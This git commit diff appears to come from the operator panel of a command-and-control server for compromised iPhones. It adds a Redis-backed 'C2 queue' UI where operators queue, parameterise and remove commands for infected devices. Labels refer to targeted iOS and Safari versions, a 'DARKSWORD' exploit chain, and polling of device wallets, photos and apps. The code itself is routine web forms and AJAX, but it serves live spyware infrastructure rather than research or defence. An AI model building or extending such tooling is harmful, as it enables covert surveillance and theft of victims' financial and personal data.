This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
@@ -179,7 +179,7 @@
</div>
</div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
<div class="dash-grid dash-grid-2">
<div class="dash-tile">
<div class="dash-tile-hd">页面 PV</div>
+333 -52
View File
@@ -88,59 +88,130 @@
</tr>
</table>
@if (($beaconTasks ?? collect())->isNotEmpty())
@php
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
$queueCurrent = $queuePending
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
@endphp
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列
@if ($queuePending)
· 下一条 <code>{{ $queuePending->type }}</code>
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
· 已下发未回传,下一轮 /beacon 会重试
@else
· 本轮已回传,之后继续轮询钱包/相册/应用
@endif
</div>
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="180">任务</th>
<th width="120">状态</th>
<th width="180">下发时间</th>
<th width="180">回传时间</th>
<th>回传</th>
</tr>
</thead>
<tbody>
@foreach ($beaconTasks as $task)
@php
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
@endphp
<tr style="{{ $rowStyle }}">
<td>{{ $task->position }}</td>
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
<td>{{ $task->statusLabel() }}</td>
<td>{{ $task->dispatched_at ?: '—' }}</td>
<td>{{ $task->completed_at ?: '—' }}</td>
<td class="wrap">
@if ($task->result_count)
{{ $task->result_count }} 次
@if (!empty($task->result_meta['filename']))
· {{ $task->result_meta['filename'] }}
@endif
@else
—
@endif
</td>
</tr>
@endforeach
</tbody>
</table>
@php
$queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []];
$queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES;
$queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA;
$statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS;
$hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD;
@endphp
@if ($hasQueue)
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列 (Redis)
@if (!empty($queueState['pending']))
· 下一条 <code>{{ $queueState['pending'][0]['type'] }}</code>
@elseif (!empty($queueState['dispatched']))
· 已下发未回传
@else
· 队列已空
@endif
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
</div>
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
<div style="margin-bottom: 16px;">
<button type="button" class="layui-btn layui-btn-sm" id="btnQueueAdd">
<i class="layui-icon layui-icon-add-1"></i> 添加任务
</button>
</div>
@php
// Build a per-type label map from PARAM_SCHEMA: type => [field name => label]
$paramLabelsByType = [];
foreach ($queueSchema as $type => $fields) {
foreach ($fields as $f) {
$paramLabelsByType[$type][$f['name']] = $f['label'];
}
}
@endphp
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="140">任务</th>
<th>参数</th>
<th width="100">状态</th>
<th width="160">下发时间</th>
<th width="160">回传时间</th>
<th>回传</th>
<th width="80">操作</th>
</tr>
</thead>
<tbody>
{{-- Pending tasks (removable) --}}
@php $rowIdx = 0; @endphp
@foreach ($queueState['pending'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#f0fdf4;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
<td>
<button type="button" class="layui-btn layui-btn-sm layui-btn-danger"
onclick="queueRemove('{{ $task['task_id'] }}', '{{ $task['type'] }}')">移除</button>
</td>
</tr>
@endforeach
{{-- Dispatched tasks (in-flight) --}}
@foreach ($queueState['dispatched'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#fff7ed;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>{{ $task['dispatched_at'] ?? '—' }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
</tr>
@endforeach
@if ($rowIdx === 0)
<tr><td colspan="8" style="text-align:center;color:#999;">队列为空,点击「添加任务」按钮添加</td></tr>
@endif
</tbody>
</table>
{{-- Hidden data for JS --}}
<script>
var queueParamSchema = @json($queueSchema);
var queueAddUrl = @json(route(($portal ?? 'admin').'.devices.queue.add', $device));
var queueRemoveUrl = @json(route(($portal ?? 'admin').'.devices.queue.remove', $device));
var csrfToken = @json(csrf_token());
</script>
@endif
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title">
@@ -675,4 +746,214 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}
});
</script>
{{-- ===== C2 队列管理 (layui 组件) ===== --}}
<script>
layui.use(['form', 'layer', 'jquery'], function () {
var form = layui.form;
var layer = layui.layer;
var $ = layui.jquery;
// 命令类型列表(key => 中文描述)
var queueTypes = @json(\App\Services\DsBeaconQueue::ALL_TYPES);
var paramSchema = window.queueParamSchema || {};
var addUrl = window.queueAddUrl;
var removeUrl = window.queueRemoveUrl;
var token = window.csrfToken;
// 构建「添加任务」弹窗的 HTML(含 layui form select + 动态参数容器)
function buildAddFormHtml() {
var opts = '<option value="">请选择命令</option>';
for (var k in queueTypes) {
if (!queueTypes.hasOwnProperty(k)) continue;
opts += '<option value="' + k + '">' + k + ' (' + queueTypes[k] + ')</option>';
}
return ''
+ '<form class="layui-form" id="queueAddForm" lay-filter="queueAddForm" style="padding:20px 24px;">'
+ '<div class="layui-form-item">'
+ '<label class="layui-form-label">命令</label>'
+ '<div class="layui-input-block">'
+ '<select name="type" lay-filter="queueTypeSelect" lay-search>' + opts + '</select>'
+ '</div>'
+ '</div>'
+ '<div id="queueParamFields"></div>'
+ '<div class="layui-form-item" style="margin-bottom:0;">'
+ '<div class="layui-input-block">'
+ '<button type="button" class="layui-btn" id="queueAddSubmit" lay-submit lay-filter="queueAddSubmit">提交</button>'
+ '<button type="reset" class="layui-btn layui-btn-primary" style="margin-left:8px;">重置</button>'
+ '</div>'
+ '</div>'
+ '</form>';
}
// 根据选中命令类型渲染动态参数字段
function renderParamFields(type) {
var $box = $('#queueParamFields');
$box.empty();
var fields = paramSchema[type] || [];
if (!fields.length) {
return;
}
var html = '';
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var name = f.name, label = f.label, ftype = f.type, def = f.default, req = f.required;
var reqMark = req ? '<span style="color:#ff5722;">*</span> ' : '';
if (ftype === 'select') {
var opts = '';
if (f.options) {
for (var ok in f.options) {
if (!f.options.hasOwnProperty(ok)) continue;
opts += '<option value="' + ok + '"' + (ok == def ? ' selected' : '') + '>' + f.options[ok] + '</option>';
}
}
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<select name="params[' + name + ']" lay-filter="param_' + name + '">' + opts + '</select>'
+ '</div>'
+ '</div>';
} else if (ftype === 'checkbox') {
var checked = def ? ' checked' : '';
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="checkbox" name="params[' + name + ']" lay-skin="switch" lay-text="开|关"' + checked + '>'
+ '</div>'
+ '</div>';
} else if (ftype === 'textarea') {
html += '<div class="layui-form-item layui-form-text">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<textarea name="params[' + name + ']" placeholder="请输入' + label + '" class="layui-textarea" style="height:120px;">' + (def || '') + '</textarea>'
+ '</div>'
+ '</div>';
} else if (ftype === 'number') {
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="number" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
} else {
// text
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="text" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
}
}
$box.html(html);
form.render(null, 'queueAddForm');
}
// 绑定「添加任务」按钮
$('#btnQueueAdd').on('click', function () {
var idx = layer.open({
type: 1,
title: '添加 C2 任务',
area: ['520px', '500px'],
maxmin: false,
content: buildAddFormHtml(),
success: function (layero, index) {
// 渲染初始 select
form.render(null, 'queueAddForm');
// 监听命令类型切换
form.on('select(queueTypeSelect)', function (data) {
renderParamFields(data.value);
});
// 监听提交
form.on('submit(queueAddSubmit)', function (data) {
submitAddTask(data.field, index);
return false;
});
}
});
});
// 提交添加任务
function submitAddTask(formData, layerIndex) {
if (!formData.type) {
return layer.msg('请选择命令类型', { icon: 2 });
}
// 收集 params
var params = {};
var fields = paramSchema[formData.type] || [];
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var key = f.name;
var raw = formData['params[' + key + ']'];
if (raw === undefined || raw === '') {
if (f.required) {
layer.msg('请填写 ' + f.label, { icon: 2 });
return;
}
continue;
}
if (f.type === 'number') {
params[key] = Number(raw);
} else if (f.type === 'checkbox') {
params[key] = (raw === 'on' || raw === true || raw === 'true');
} else {
params[key] = raw;
}
}
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: addUrl,
method: 'POST',
data: { type: formData.type, params: params, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '添加失败', { icon: 2 });
}
layer.close(layerIndex);
layer.msg('已添加', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '添加失败';
layer.msg(msg, { icon: 2 });
}
});
}
// 移除任务(使用 layui layer.confirm 替代原生 confirm)
window.queueRemove = function (taskId, type) {
layer.confirm('移除此任务?(' + type + ')', {
icon: 3,
title: '移除任务'
}, function (index) {
layer.close(index);
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: removeUrl,
method: 'POST',
data: { task_id: taskId, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '移除失败', { icon: 2 });
}
layer.msg('已移除', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '移除失败';
layer.msg(msg, { icon: 2 });
}
});
});
};
});
</script>
@endpush